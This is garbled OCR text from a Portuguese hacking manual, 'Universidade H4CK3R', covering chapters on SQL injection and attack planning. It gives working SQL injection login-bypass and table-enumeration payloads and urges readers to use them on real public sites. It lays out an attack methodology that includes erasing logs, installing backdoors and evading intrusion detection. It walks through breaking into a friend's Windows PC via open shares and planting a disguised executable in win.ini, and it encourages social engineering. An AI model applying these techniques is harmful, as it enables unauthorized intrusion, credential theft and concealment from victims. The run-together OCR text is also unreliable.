Emumsistemabem-feito,nãohaveránomesdeloginrepetidos,logoo bancovai retornarosdadosdousuário,seeleexistir.Compareo comandoASPe o coman- doSQLpuro.No primeiro,aspasduplasseparamo queéumastringpuradoque é comandoASP.As aspassimplessãoconsideradaspartedastringpura.Como podemosperceber,osvaloresatribuídosaoscamposlogine senhaestãoentre aspassimples.Hummm...E seeucolocar,no meiodomeulogin,umaaspasim- plestambém(porexemplo,jun'ior)?O comandoSQLresultanteserá: SELECT login, senha, nome, admin FROM tabela_usuarios WHERElogin = 'jun'ior' AND senha = 'fabio' O SQLconsideraráo nomedelogincomoapenasjun e o restodo nome,ior, comopartedo comandoSQL.IOR nãoé umcomandoSQLválido,portantoa páginaretomaráum erro.É justamenteesseerro que,maisparafrente,nos diráquala estruturadatabela.Por ora,vamosusá-Ioparainserirmaiscoman- dosSQLno campodelogin. Experimente,no login,inserira seguintestring , OR 1=1 - - e vejao queacontece.Possivelmentevocêselogoucomoadministrador!!!Va- mosanalisarcomoessafeitiçariafuncionana stringSQL: SELECT login, senha, nome, admin FROM tabela_usuarios WHERElogin = " OR 1=1 -- AND senha = " Traduzindoa stringparao português(issosemprefacilita...):"SELECIONE os camposlogin,senha,nome,adminDA TABELAtabela_usuariosEM QUE o login sejavazio (' ') ou a condição 1=1 sejaverdadeira".Quêeee?1 =I? Essacondição SEMPRE é verdadeira,portanto, o usuário magicamenteestá 12071 1 Vulnerabilidades11
  • IUniversidadeH4CK3RI logadono sistema!!!A senhanuncaseráconsultadavalidada,pois todoo resto dastring(AND senha=' ') estácomentadocomosdoistravessões. Sevocêjásoubero nomedeusuáriodeumapessoae quiseracessaro siste- macomseulogin,bastacolocarastringmágicanocamposenha.Ou comentar o campodelogin,apósentrarcomo usuário.Porexemplo,sevocêsabequeo logindesuamãeé neidem,tente: login: neidem'-- senha: ou login: neidem senha:' OR 1=1 Algumasvezesé necessáriocolocar'OR 1=1tambémno camposenha,em vezdecomentarcomtravessõeso finaldo campologin. Outrocasoé emsitespúblicoscomcadastrosnumerosos.Podemoscolocara stringmágicano campologine"chutar"umasenhaqualquer.O comandoSQL vai puxartodosos usuáriosque tiveremaquelasenha,e você se logaráno primeirodeles.Usesuaslistasde palavras(lembra-sedo capítulo7?)e entre seguramente.Vocêencontrarádiversasduplasnome/senha.Comumpoucode organização,vocêpoderáfazerumalistadosnomese senhasválidosno sitee usar"umpoucode cada",dificultandoo rastreamentodascontasinvadidas. Brinquebastantecomossitesescolhidosparavítima- sitescomMSSQLeASP sãopresasperfeitas.ComseusconhecimentosdePHP eMySQL,monteumsite paraexperiênciase insiratodososcomandosSQLquevocêconseguirlembrar. Bem,agoraquejá conseguimosentrar,quetaldescobrircomoa tabelaestá montada?Lembre-sedequeestamoscompletamentecegosatéagora.Umcoman- doconhecidodeSQLéoHAVlNG,quepermiteselecionargruposdecamposque possuamumpadrãoespecífico.Coloque,no campode login,a string, having 1=1- - eobserveo resultado.Cadagerenciadordebancodedadosemitiráerros diferentes,masemcomumelesterãoumamensagemparecidacomessa: Column 'userid' on table 'mainsite' is invalid on the selected list ... Opa!O bancodedadosalegrementenospresenteoucomo nomedatabela, mainsitee o nomedo primeirocampodatabela,userid.Algunsbancosde dadosretomariamo valordessecampoemformatoorientadoa objetos,algo comomainsite.USERID.Não importa,já temosdoisdadosimportantes.Mais parafrente,a mensagemprovavelmentemencionaráquenãoháumacláusula GROUP BY no comando.Bem,vamosadicionartalcláusulae verno quedá: Usuario:' GROUP BY mainsi te. USERID having 1=1 -- Cruzes!Olhe a respostado site: Column 'userlogin' on table 'mainsite' is invalid on the selected list ... Já sabemoso nome do segundocampo!!!Tentemosde novo: U~o:' GROUPBY mainsite.USERID, mainsite.USERLOGINhaving 1=1 -- 1208I Vulnerabilidades11[
  • Universidade2°Ano A respostaé: Column 'username' on table 'mainsite' is invalid on the selected list ... Continuesuapesquisausandoessemétodo.Quandonãohouvermaismensa- gensdeerro,voi1à,vocêpossuitodosos camposdatabela.Agora,vamosrecu- peraraslinhasdatabela,ou seja,os registrosde cadausuário.Vamosusaro comandoSQLUNION: Usuario: ' UNION ALL SELECT userid FROM rnainsite WHERE 1=1 -- Preciso explicar?O valor de useridéretomadonamensagem.Façaissocom todosos campos.Obviamente,seo scriptfor bemescrito,essesartifíciosnão funcionarão.Muitasvezeso scripté bem-feitoe testaráos camposà procura de caracteresmaliciososANTESde mandá-Iosao comandoSQL.Nessescasos vocênãoconseguiráentrar,masaindapodeterumaindicaçãonamensagemde errodo sitesobreosnomesdoscampos,databelae dabasede dados.Anote TUDO e tentefazerum diagrama.Umaespiadelano queé retomadonaURL tambémé umaboa... Issoé apenaso básicodobásicosobreSQLInjection.Parasabermaissobreo assunto,recomendamosa leiturado excelentelivro SegurançacontraHackers - AplicaçõesWEB,de Scambraye Shema(EditoraFutura/McGraw-Hill,394 páginas).Umapesquisano Googlepelaspalavras"SQLInjection"vai retomar praticamentetodaa documentaçãodisponívelsobreo assunto. Estamostodosvulneráveis? Infelizmente,aresposta,emumapalavra,é sim.Nossossistemasdeinforma- ção,comtodosospatches,ServicePackse correções,sãofalhosporqueforam desenvolvidossemlevara segurançaemconta.É muitomaisfácilplantarárvo- resquefazerenxertos. Nãopodemos,nemqueremosoutemosespaçoparademonstrarafundotodos os tiposdevulnerabilidadesexistentes.O capítulos7,VulnerabilidadesI, e este serviramapenasparaquevocêtomecontatocom algumastécnicasesparsas sobreo assunto.Nospróximoscapítulos,daremosumavisãomaisclaradecomo seplanejaumataque,comosedefenderdelese o quefazercasosejainvadido. Falandoemcontra-ataque,recentementefoi lançadoum"brinquedo"quecaça e destróios hackersque o invadiram.Acessewww.backfiresecurity.co.uke saibamaissobreele. 12091 I Vulnerabilidades11
  • Universidade3°Ano: Tornando-se um Hacker
  • Ataque,defesae contra-ataque: Introducão. Capítulo10 L./ comefece Romolo, o comunquese chiamasse il capoccionede quei tipacC/;aprocurar donnea se e ai suoi compani. Indisse unagrande festa,1.../ e invitàaprendervi parte i vicinidi casasabinil.../ callorore, TitoTazio,esopratuttole lorofiglie':1 Indro Montanelli, "Storia di Roma", 1957 1 "C.') como fez Rômulo, ou como quer que se chamasseo chefe daquelescaras,para conseguirmulherespara si e para seus compa- nheiros.Deu umagrandefestaC.,)e convidouseusvizinhos,os sabinos C.') que trouxeramseu rei, Tito Tácio,e sobretudosuasfilhas C.')" Um excelenteexemplode engenhariasocialdaquelaépoca.A fasedeplaneja- mentodessafestaé algodignode leitura.
  • Universidade3°Ano: Tornando-seumHacker
  • Ataque,defesae contra-ataque: Introducão. Capítulo10 "f.../ comefeceRomolo,ocomunquese chiamasse il capoccionedequei tipacci,aprocurar donnea se eai suoi compani. Indisse unagrande festa, LI e invitàaprendervi parte i vicinidi casasabinil.../ collorore, TitoTazio,esopratuttolelorofig/ie".' Indro Montanelli. "Storia di Roma". 1957 1 "(...) como fez Rômulo, ou como quer que se chamasseo chefe daquelescaras,para conseguirmulherespara si e para seus compa- nheiros.Deu umagrandefesta(...)e convidouseusvizinhos,os sabinos (...) que trouxeramseurei, Tito Tácio,e sobretudosuasfilhas (...)" Um excelenteexemplode engenhariasocialdaquelaépoca.A fasedeplaneja- mentodessafestaé algodignode leitura.
  • I Universidade H4CK3R I I Chegamosà partecrucialde nossocurso.Até aquivimosdiversastécnicas pontuaise específicasdeataque,usandoferramentasprontasou baseadasem conceitosmuitorudimentares.Forao expostoenpassantnos capítulosde VulnerabilidadesI e 11,nãofoi mostradanenhumaestratégiaouplanejamento. Fazendoumaanalogiacom o mundoreal,ensinamosa apertarparafusos,a estamparpeçasemaço,aprojetarcircuitoselétricos,ainstalarsomautomotivo e afabricarpneuse peçasplásticasapartirdederivadosdepetróleo.Masnão ensinamoscomomontaro automóvel. A partirde agora,começaremosa ver ascoisasde formamaissistemática, seguindoumaordemlógicae fundamentandotodosos procedimentoscom informaçõesa respeitodastecnologiasen40lvidas. EMTEMPO:parafinsdidáticos,consideramosqueo leitorquersetornarum blackhate direcionamoso textoparaesseobjetivo.Entretanto,os autores repudiamissoe eximem-sede responsabilidadede qualqueratodecorrente dasinformaçõesaquicontidas,e seuusoé de inteiraresponsabilidadedo lei- tor.LembramosqueestasinformaçõesestãolivrementedisponíveisnaInternet e podemserfacilmenteencontradas. Osseispassospara umhackingfeliz Seis?Nãoeramquatro?Nocapítulo7 (Vulnerabilidades1),descrevemosumpeque- no roteiroparaplanejamentoe execuçãodeataques,quereproduzimosabaixo: 1.Umavezdescobertaavulnerabilidade,nãotenteinvadirsuapresaimedia- tamentejAocontrário,conheçasuavítima.VisiteseusitenaInternet(semata- car,apertasolhe).Sefor na suacidade,visitesuasedee tentedescobrirmais sobreprodutos,empregos,serviços,funcionários,hábitos...Podem-seusartéc- nicaspassivas(observação:paraver o queentrae o quesaidamáquinaou rede)ou ativas,comoorganizarminiataquesa pontosisoladose verificaras mensagensquesãoretomadas.O importanteé coletarinformaçõessuficientes paraelaborarum planode ação,preferencialmentecomdesfechosalternati- voscasoalgodêerrado. 2. O primeiroacessoa gentenuncaesquece.Essaé apartemaisimportante do ataque.Pode-sedizerqueestaetapaé o ataquepropriamentedito.Depois dedescobertaavulnerabilidadee examinadoo comportamentodavítima,use o exploitapropriadoparaganharacessolimitadoaosistema.E nãoseesqueça deusarumproxypúblicoparaesconderseuendereçoIP!!! 3.Humm.Umavez com acessolimitado,a próximaetapaconsisteem ganhar acessototalà máquina(rootparasistemasUnix, administradorparasistemas WinNT - no Win9x, o primeiro acessojá garantecontrole total...).Cada SO possuiprocedimentosdiferentesparatal.Umavezconseguidoo acessoirrestrito, bastacoletarasinformaçõesdesejadase, sefor o caso,desfiguraro sistema. 2141 Ataque,defesae contra-ataque:IntroduçãoI
  • Universidade3°Ano 4.Agoraquevocêjá"ownou"o sistema,tratedecobrir seusrastrose insta- lar asportasde trás.Verifiqueos logs do sistemae apaguetudo o que for relativoà suavisita,MASAPENASISSO!Resistaà tentaçãode apagaro log todo - um "buraco"no registrode eventosfarácom que o administrador descubramaiscedodo queo esperadoquealguémandoubulindocomseu brinquedo.Depoisde fazera cirurgianos logs,instaleos backdoors.Alguns hackersmaisexperientestêmo cuidadode aplicarpatchesno sistemapara removerasportasqueo deixaramentrar,evitandoassimqueoutroshackers menoshabilidososentremno sistemae,por descuido,alertemo administra- dor dequea máquinafoi tomada. Masnestepontodolivro,nossoobjetivonãoémaisagircomoscriptkiddies, quevagampelaInternetprocurandopor presasfáceisque saibamcaçar.Ao contrário,queremoster umaidéiade como blackhats,digamos,"profissio- nais"trabalhamparaalcançarseusobjetivosemumalvoespecífico,qualquer quesejaseunívelde dificuldade.Paratanto,vamostentarseparar,por afini- dade,nossosesforçosemseispassosdistintos.Comoguerraé o assuntodo momento,usaremostermosmilitaresparanosreferira cadaum deles.Talvez ascruzadas,asguerrasdo Paraguai,Vietnã,Meganistão,os conflitosnaPales- tinaouatémesmoaGuerranoGolfo2tenhampassado.Masoscybercombates entrehackers/crackerse administradoresdesistemasvãodurarmuitosanos, talvezséculos. ~ Passo1:Planejamento Hummm,é difícildizerseesteé realmenteo passo1.Na verdade,todosos passossãointerdependentes:precisamosdasinformaçõesobtidasem cada movimentoquefazemosparapoderplanejar(e corrigir)adequadamentenos- so ataque.A seqüênciadeatividadesserá,portanto,algoparecidocom 1-2-1-3- 1-4-1-5-1-6-1,emvezdaóbvia1-2-3-4-5-6. Comotodoplanoprecisadeajustese comoquasetodatarefapodesersub- divididaemváriasmaisespecíficas,podemosperceberqueo processodepla- nejamentoserácontínuodurantetodaa batalhae duraráatébemdepoisda fmalizaçãodo ataque.Cadapequenodetalhedoataquetemseupróprioplano 1-2-1-3-1-4-1-5-1-6-1.Sevocênãodocumentarmuitobemcadaum dospassos quetema fazer,acabarácomum bocadograndedemaisparamastigarsem estalaraboca.E nãoesqueça:formasdeesconderasprovasdo crimetambém fazempartedo planejamento! Nãobastasabero queestáfazendo.É necessáriosaberpor queestáfazendo. Sevocêtemumarespostanapontadalínguaquandoperguntado"ei,por que vocêquerinvadirminhaempresa?"podeseguiremfrente.Masnãoseesqueçade que,umavezdentro,vocêserárastreado.Sevocêjásabeoquequerfazerquando estiverentreosmurosdocastelo,ótimo.Senãosabe,nãotente!E nãoesqueça que,dependendodeseusintentos,vocêestaráincorrendoemalgumcrime. 12151 ]Ataque,defesae contra-ataque:Introdução
  • I UniversidadeH4CK3RI ~ Passo2:Observação Todaoperaçãomilitar,sejagovernamentalou dos rebeldes,precisaestar embasadaeminformaçõesprecisase detalhadassobreo alvo.O conjuntode dadosnecessáriosincluemdiversossubconjuntosaparentementenãorelacio- nados:detalhespessoais,comohábitos,habilidadesprofissionais,passatempos, família,amigos,antigasnamoradas;informaçõescorporativas,hierarquiainter- na,clientes/concorrentes/fornecedores,dadossobreos sistemasde informa- ção...Do monstrodedadosobtido,háaindaa necessidadedegarimparinfor- maçõesnãodisponíveisdiretamente,fazerreferênciascruzadase, literalmen- te,"lernasentrelinhas". Váriastécnicaspodemserusadasaqui.A maisóbviae eficaz(emboramenos diretae maisperigosa)é a EngenhariaSocial.Masmesmosemcontarmentira alguma,épossívelcoletarumacoleçãorazoáveldeinformaçõesobtidasdaInternet oudeobservaçãodireta.Nãoseafobe:paciênciaé apalavra-chaveaqui. ~Passo3:Busca Comosplanos,mapase alistadetarefasnamão,podemoscomeçaraprocu- rar os buracospelosquaisvamosentrar.Um arsenalnumerosoe variadode scannersdeportase vulnerabilidadesdeveestarà disposiçãoparaquetodos os pontosfracossejamrevelados.Assimcomono passoanterior,paciênciaé umdosingredientesmaisimportantesdestaetapa.Masnãoo único.Nãobasta usarumaferramentaquereveleo furodesegurançasevocênãoentendecomo elafunciona. ~Passo4: Invasão Há várias maneirasde ganhar acessoao sistema-alvo.Nos capítulos VulnerabilidadesI e 11vimosalgumas.Massãotécnicaspontuais,queexploram fraquezasespecíficasdeumsistema.A grandesacadaé saberagruparasvárias técnicasdisponíveisdemaneiraa atingiro objetivomaior.Alémdisso,muitas vezesé necessáriopassarpor váriosníveisde acessoatéconseguirpoderes suficientesparaatingiro objetivofinaldo ataque. ~ Passo5:Manutenção Nemtodosos administradoresde redesãocompletosidiotas.A maioria,na realidade,nãoé.Umavezdetectadaumavulnerabilidadequepossibiliteumata- que,qualqueradministradorprovidode bomsensovai aplicaros patchesde segurança,fechandoo rombo.Sevocêjá invadiuumavezpor um buracona segurançaouumafalhaemalgumprograma,é possívelquesuapróximatenta- tiva,diasdepois,sejainfrutífera:a portaestaráfechada.Umavezdentrodos murosdocastelo,énecessárioinstalarmeiosparaquesepossaentrare sairsem sernotado,e quesejamindependentesdasbrechasdesegurançado sistema. 12161 Ataque,defesaecontra-ataque:Introdução[
  • Universidade3°Ano ~Passo6:Evasão "Jáinvadi,jácopiei,jádesfigurei,jáapagueie jádestruí,e aindadeixeiportas secretasporondeentrare sairsemserincomodado.E agora,façoo quê?"Bem, pequenogafanhoto,estána horade apagaros rastrosquevocêdeixou.Essa etapacomeçajánapreparaçãodoataque,escolhendoasferramentase procedi- mentosmenosruidosos,tomandocuidadoparanãodeixaraparentequeestá logadono sistemae,principalmente,tentandodescobrirantesde entrarsehá umsistemaIDSativo.Depoisdefazero quetemdefazer(defacement,cópiade arquivose programas,lançamentode outrosataques),apaguecriteriosamente suaspegadasnosarquivosde registrodo sistema,tomandoo cuidadode não danificarosoutrosdadosregistrados.É umafalhaamadoríssima"limpar"demais o logoOutrocuidadoquedevesertomadojánospassosiniciaisdeplanejamento é aprevençãocontrasistemasdedetecçãodeintrusos,os famigeradosIDSs. o portal Estamosprestesa entrarno ladonegro.Umavezlá,muitosficarãotentados a nãosair.É umriscoquetodostemosdecorrer.Naspróximaspáginasvere- mos,deformadetalhada,comolevara cabocadaumdospassosvistosaqui.A escolhaé todasua,caroleitor. A melhormaneiradeorganizarasidéiasé pegarumpedaçodepapel(prefi- ro papelà telado computador)e rabiscaralgumascoisas.As pessoasnormal- menteperguntam-sepor ondecomeçar,esquecendo-sede quea únicacoisa quesabemé aondequeremchegar.Portanto,vamoscomeçarpelofim.Nosso objetivoé pregarumapeçaemnossoamigocomum programainofensivoe incómodo(chato,mesmo!). PROGRAMA CHATO 12171 I Ataque, defesa e contra-ataque: Introdução
  • I Universidade H4CK3R I I Sóessequadrojá nossuscitaváriasdúvidas: 1. Qualprogramausaremos? 2. Comoseráinstalado? 3. Serádisparadopor tempoou eventos? 4.Temtamanhomáximodefmido? 5. O seuamigoé entendidodecomputadorese vaisabero quefazerquando o programadisparar? 6.Querqueo programadigao nomedo autordabrincadeiraou quemante- nhasegredoatéquevocêriabastante? Umavezformuladasasperguntasiniciais(nãosepreocupe,outrasaparece- rão...),temosde gastarum pouco de tempopensandoe pesquisandopara respondê-las.Algumasrespostasplausíveispoderiamser: 1.SeuamigoétorcedorfanáticodaPontePreta.Doente.Possuifaixas,cami- sasoficiaisdediversosanosautografadaspelosjogadores,é sóciofundadordo clube... Que tal uma animaçãoem Flash, criada por aqueleseu colega webdesignernumfavormuitoespecial,comemorandoa derrotadaPontePre- taparao XV dePiracicaba? AnimaçãoemFlash?IssoquerdizerquesuavítimausaWindows,certo.Seele usarMacou algumUnix issonãovai funcionar.Esteé umótimoexemplode comoo planejamento,emboraestejaindobem,precisadeajustes.Imaginese vocêtivesseenviadoa animação"nalouca"e descoberto,posteriormente,que nãofuncionouporqueseuamigo/vítimausaFreeBSD? Temos,então,de,pormeiodeEngenhariaSocial(oucomaajudadoNmap,...) saberqualo sistemaoperacionaldavítima.Por engenhariasocial,descobrimos queé oWindowsMe. 2. A instalaçãoé outroproblema.Vocêpodefazerseuamigoinstalara bom- baparavocê,bastaenviá-lapor e-maildizendoqueé umf1lminholegal.Masa vítimaé desconfiada(vocêjá sabedisso,o conhecehá anos),e nãovaiabrir qualquercoisaquechegue. Vocêpoderiaelaborarum e-mailHTML comumVBScriptqueinstalasseo programaautomaticamente,masvocêteriade saberqualo clientede e-mail que ele usa.Por engenhariasocial,descobrimosque ele usa o The Bat (www.ritlabs.com/thebat - os autoresrecomendam!!!),queé premiadíssimo justamentepor serimunea essascoisas. Ou aindausaralgumavulnerabilidadedoWindows.Paraissoprecisaríamos rodarum scannerqualquer,comoo Nmap.Masnãotemoso IP dele,entãoé necessárioarranjarum artificioparadescobri-lo. Vocêtemdeencontrarumaformadefazercomqueo Flashdisparedepois deumtempoourespondaaumevento.As trêsopçõesmaissimples,sempre- cisarinteragira fundocomo própriosistemaoperacional,são: 12181 Ataque, defesa e contra-ataque: Introdução
  • ~ Um trojan,paravocêcontrolara bombaremotamente; ~O Flashser"fundido"aumprogramado sistema(comoacalculadoraouo blocodenotas)paraque,quandoestefor aberto,aqueleentreemoperação; ~O próprioFlashserrodadonainicializaçãoe possuirumtimeoutdepelo menosumahoraparaentraremação; ~Umacombinaçãodetodoseles. Nessescasos,quantomenormelhor,masprecisamos sabercomoé aconexãodonossoamigoparadetermi- narotamanhodaanimação.Seavítimativerummodem de 33,6K, certamenteperceberáseestivermosfazen- do umuploaddeumaanimaçãoFlashde2 Mbytes... Perguntando,vocêdescobrequeeleé assinantedeum grandeprovedornacionaldeacessorápido- olhaàí, umainformaçãoquepodeserútilmaistarde... Seuamigoé esperto,é engenheiroeletrônicoe é um usuárioavançadode informática.Mesmoassim, não entendedos detalhesinternosde software(o negóciodeleéhardware)esemprepedeajudaavocê para"calibrar"o Windows dele,quando"dápau". (quemsabenãoé por issoquevocê,inconsciente- mente,estáfazendoessasacanagem?) De jeitonenhum!Negoatéa morte! Humm...sevocêcolocoutodasessasperguntas,res- postase ponderaçõessobreasrespostasemumafo- lha de papel,apósalgumtempolendoe relendoo resultado,chegamosaodiagramaaolado.Observea dúvidaquesurgiuno últimoquadro:comoinvadir? Não sabemosquaisasvulnerabilidadesexistentes, poisnaetapa"Buscapor brechas"nãotínhamoso IP davítimaparaprocurá-la. Hádiversasmaneirasdeobtero IP dealguém.Uma delasé perguntando.A maioriadaspessoasnãovai desconfiarqueé paraalgo"malvado".Masnão é o casodo seuamigo. Vocêcostumaconversarpor ICQ com ele.Há al- gunsanos,o próprio clientede ICQ diria o IP da outrapessoa.Hoje há a possibilidadede camuflar essainformação.Dependendodaversão,entretanto, e dasopçõesescolhidasnaconfiguração,mesmoos maismodernospodemrevelartal informação.Isso porqueo ICQ de ambosos ladosdaconversapode seconectartantodiretamentequantoatravésdeum servidorcentral. Passos 2 e 3: Observacãoe b Passo 4: Invasão Escolhado programa-bomba Passo 4: Invasão Métodode invasão ??????????? Universidade30Ano 12191 I Ataque,defesae contra-ataque:Introdução ---- Determinação do ambiente - Engenhariasocial para determinar SOe MUA - Resultado:WinMEeTheBat Busca por brechas - Scanpara obter falhas e determinar quais usar - Scannersescolhidos:Nmape Nessus Programa Chato - AnimaçãoemFlash executável no Windows - Tema:Ponte Preta Ox 1 XV de Piracicaba Camuflagem e Controle - Flashcomtempodeespera - InstaladonoWIN.INI paraser escondido o bastante, mesmo assim facilmente removível
  • I Universidade H4CK3R I Vamosfazerumatentativa.Espere eleentraron-linee inicie umacon- versação.Desliguetudooqueacessar à Internet em seu computador: e-mail,navegadores,eMule,KaZaA, MSNMessenger,deixandoapenaso ICQ.Troquealgumasmensagenscom eleepeçaqueelelheenviealgumar- quivo razoavelmentegrande(MP3, imagem,programa,qualquercoisa). Antesdeaceitaratransferência,abra umajaneladoMS-DOS. Duranteatransferência,useo comandonetstat-na najanelado MS-DOS,damesmamaneiracomovocê feznoscapítulosdeRedes11eVulnerabilidades11.Na listade conexõesquevai aparecer,asúltimasdelas sãoosIPs dasuaconversaçãoe datrocadearquivos. O IP remotomostradoé o dele. Essadicafuncionacomqualquertransferênciade dadoson-lineentreosdoiscomputadores.E-mailnão é on-line:quemtransfereé o servidorSMTP,nãoapes- soaqueo enviou.No casodoMSNMessenger,doAOi InstantMessengere doYahoo!Messenger,asmensa- genssãosempreintermediadaspelosrespectivosser- vidores,portanto,o netstatvaimostraro IP do servi- dor Passport.NET,por exemplo...Comumaexceção: a transferênciade arquivosaindaé peer-to-peer.Seo seuamigousarMSNe nãoICQ, peçaparaeleenviar um arquivogrande.O IP delecertamenteaparecerá nalistado netstatcomesteartifício. Agoraquetemoso IP davítima,vamosescaneá-Ia.Usandoo Nmap,descobri- mosque,pordescuido,nossoamigoengenheirodeixouoscompartilhamentos de discoligadose semsenhas.Nadamaissimplesdo que abrirum Internet Explorere digitar\\IP.DA.VITIMA.AQUI.Pronto!Vocêjá estánamáqunadele, podeabrire editararquivos. Comessasalterações,nossodiagramajá estáfuncional.Vamoselaborar,agora, umalistaseqüencialdeetapasparanossoataque?Afmal,nãopodemosfazertudo aomesmotempo,entãotemosqueorganizarascoisas.Napróximapáginaestá umalistadepassos.É interessantedesedeixeumespaçoabaixodecadaitem, paraquesepossaescreverosresultados,observaçõesouproblemasencontrados. Os comentáriosentreparêntesesnão fazempartedo roteiro.Sãoapenas orientaçõesparaquea elaboraçãodo roteirocumprao objetivopretendido. Passos2 e 3: Observaçãoe busca Passo 4: Invasão Escolha do programa-bomba Programa Chato - AnimaçãoemFlash executávelnoWindows - Tema:PontePreta Ox 1 '.01dePiracicaba Camuflagem e Controle - Flashcomtempodeespera - InstaladonoWIN.INI paraser escondidoobastante,mesmo assimfacilmenteremovível Internet Explorer - \\IP.VÍTIMA - Copiar bomba para C: \ Windows - Edi tar WIN. INI -Esperar 1220I Ataque,defesae contra-ataque:IntroduçãoI Determinação do IP Detenninaçãodoambiente - ICQouMSNMesseger - Engenhariasocial para - TransferênciadearquivosdeterminarSOe MUA - Netstat-na - Resultado:WinMEeTheBat I I -. Busca por brechas - Scanparaobterfalhasedeterminar quaisusar - Scannersescolhidos:NmapeNessus - Resultado:C",=tilhamentode Arquivosabertos(TCP139)
  • Universidade3°Ano PASSOSPARAHACKEARFULANODETAL 1.EngenhariaSocial:conversainformalpara saberdetalhesde sistema operacional. 2.Busca:DeterminaçãodoIP comICQ enetstat.Seo passo1forforfeitopor ICQ também,matamosdoiscoelhos.(Queimaretapasé desejávelDESDEQUE nãointerfirana suasegurança.) 3. Escaneara vítima com Nmap e depois Nessus para verificar as vulnerabilidades.(A listaparariaaquiatéquedescobríssemospor ondeatacar. É umexemplode 1-2-1-3-1.) 4.Descobertaabrechadecompartilhamento.Preparararquivocombombapara serimplantadonavítima.Flashcombombadeespera.Usarr.otinastale tal.(Use sempreferramentase linguagensquevocêconheceBEM!Deslizessãofatais...) 5.Testeseuarquivolocalmente.Renomeie-oparawinvxd.exe. (Sempreinstaleumsistemaoperacionalidênticoaodavítima.Instaleprogra- masparecidosaosdelaetentedeixarsuamáquinamuitopróximaaoquevocê conseguiudescobrirdasconfiguraçõesdocomputadorinvadido.Quandoalgu- maetapaordenara cópiade arquivosparaa vítima,renomeie-oscomnomes parecidoscomos do sistema). 6. [OPCIONAL]Testeos passosde número7 emdianteemum ambiente controlado.Depoisdecertificar-sedavalidadedesteroteiro,ataquea vítima. (Opcionalquaseobrigatório.Façaumataquesimilaraumcomputadorseme- lhantequeestejadisponíveleemquevocêpossaverificaravalidadedoataque. Um amigohackerpoderiaajudá-Ionessahora.Colaboraçãoé importantíssimo nessemeio.) 7. Conectar ao computador. Use o Internet Explorer com a URL \ \XXX. YYY.ZZZ. UUU. (Acostume-sea colocarinformaçõesespecíficasemseusroteiros,comopro- gramasa usar,opçõese configuraçõesdessesprogramas,endereçose portasa atacare protocolosutilizados.Não apenaspassosgenéricos.Um ataquetem de serrápidoparaserefetivoe indetectado.Ficarprocurandoasopçõeses- condidasdeumprogramadurantea invasãoé pedirparaserapanhado!) 8. Copieo arquivowinvxd.exeparaC:\windows. (Cuidadocomarquivosmuitograndes.LentidãonaInternetseguidadeativi- dadeno discorígidosãoeventossuspeitíssimos!) 12211 IAtaque, defesa e contra-ataque: Introdução
  • IUniversidadeH4CK3RI 9. Abra o arquivo C:\windows\win.ini e, na, linha "run=", digite c:\windows\winvxd.exe. 10. Esperee ria muito! É claro que nosso ataquefoi sem importância,a vítima fácil e o programa- bombanão muito elaboradoe facilmentedetectável.Mas, oraveja, funciona! Nosso roteiro tambémé bem simples,emboraum ataquepor meio dele já sejapossível.Mas por que não algumnível de refmamento?Algumasidéias: ~PrepararumBackOrifice(depreferênciao B02K) e instalá-Iojuntocomo Flashno win.ini.Mesmoquetudosejadescoberto(o win.ini restauradoe o Flashapagado),nossobackdoorvaiestarno registrodoWindowse,portanto, sempreativoquandoa vítimaligaro computador. ~Porfalaremregistro,usá-Ioemvezdowin.ini.Talprocedimentoprecisará depassosa mais,a criaçãodeumarquivocomextensão.regparaatualização doregistrodavítimae provavelmenteumconhecimentomaisprofundosobre o funcionamentodo mesmo(consultarcapítulosobrePlataformasWindows). ~Lugaresóbviossãoos últimosa seremprocurados.Certavez, alguém haviafeito umabrincadeiracomigo.Meu MS-DOS5 congelavano final do carregamentodoConfig.sys.Issojáeraumadica,maseu ignorei.Decididoa procuraro problemaemvez de reinstalaro sistematodo (já haviamuitos programas,algunsdosquaisprecisavamserinstaladospelopessoaldo CPD), deibootpor disquetee abrio Configsys,comentandotodasaslinhas,umaa uma,paraverificarse travavam.Nadafeito.Vasculheiinfrutiferamentetodo o sistemaà procurade problemas.Depois de duashoras,decidi abrir o AUTOEXEC.BATsó por desencargode consciência.Quasecaí pra trás.No início do arquivo,duaslinhas: @ECHO OFF C:\AUTOEXEC.BAT Não preciso dizer mais nada... 2221 Ataque, defesa e contra-ataque: Introdução[
  • Universidade3°Ano Umapalavrafinal sobre planejamento Sevocêchegouatéaquie exclamou:"Puxa,maselenãoensinounadadifícil! Queporcariadelivro!",sintomuito,masestelivrorealmentenãoépravocê.O objetivodocapítulofoi mostrar,sobo pretextodeumainvasãosimples,como organizar-separatal. Nospróximoscapítulosveremosospassosseguintesdenossosataques:obser- vação,busca,invasão,manutençãoe evasão.Algumastécnicasadicionaise locais ondeencontrarmaisinformaçõesa respeitoserãoincluídos.Mascom o que temosatéagora(e comumpoucode disposiçãoparapesquisa),já é possível atacar,defendere mesmocontra-atacarquaisquerpessoasou instituições. Os autoresvoltama informar:a responsabilidadedo usodestasinformações é sua,nãonossa.Handlewith care. 12231 IAtaque, defesa e contra-ataque: Introdução
  • Ataque,defesae contra-ataque: Observacão. Capítulo11 'Youhave tobe tru5ted by thepeop!eyou !ied to 50 whentheytum theirback5onyou you have thechance toput theknife in "1 RogerWaters,"Oogs" 1 "Devestera confiança/ daspessoasparaquemmentiste/ pois quando te viraremas costas/ terása chance de enfiar a faca." Do álbumAnimaIs (Pink FIoyd), de 1977.
  • IUniversidadeH4CK3RI A diferençaentreosscriptkiddiese osblackhatsmaisespertoscomeçanesta fase(naverdade,começanaanterior,masmuitosblackhatsreconhecidamente bonstambémnegligenciamafasedepreparação...).Assimcomoquadrilhasob- servambancospor mesese seqüestradoresacampamemfrenteà casadesuas vítimas,atacantesdigitaisdignosdessenometêmde observarsuaspresas longamenteantesdemergulharsobreelascomofalcõessobrefrangos-de-leite. Estecapítulotratarárapidamentede algumasáreasnasquaiso candidatoa invasorpoderáprocurarparaangariarinformaçõessobreasempresas,pesso- ase,principalmente,seussistemascomputacionaise deconectividade. Resumindo:querbrincarnarua?Antesfaçao deverdecasa! EngenhariaSocial No capítulo6, tivemosumprimeirocontatocoma artede mentir.Comoa mentira,a imposturae a desonestidadesãotãoantigasquantoos primeiros macacosfalantesquevagavampor aí,nãohámeiosdescrevertodososproce- dimentospossíveis. Nãovamos,aqui,chovernomolhadoe repetiro quedissemosnocapítulo6. Usea maldadeque 100%daspessoastêmescondidapor aí emalgumcantoe desenvolvaseusprópriosmétodos.O quefuncionouparaMitnickpodenão funcionarparavocê. Dicas?Aí vãoalgumas: ~ 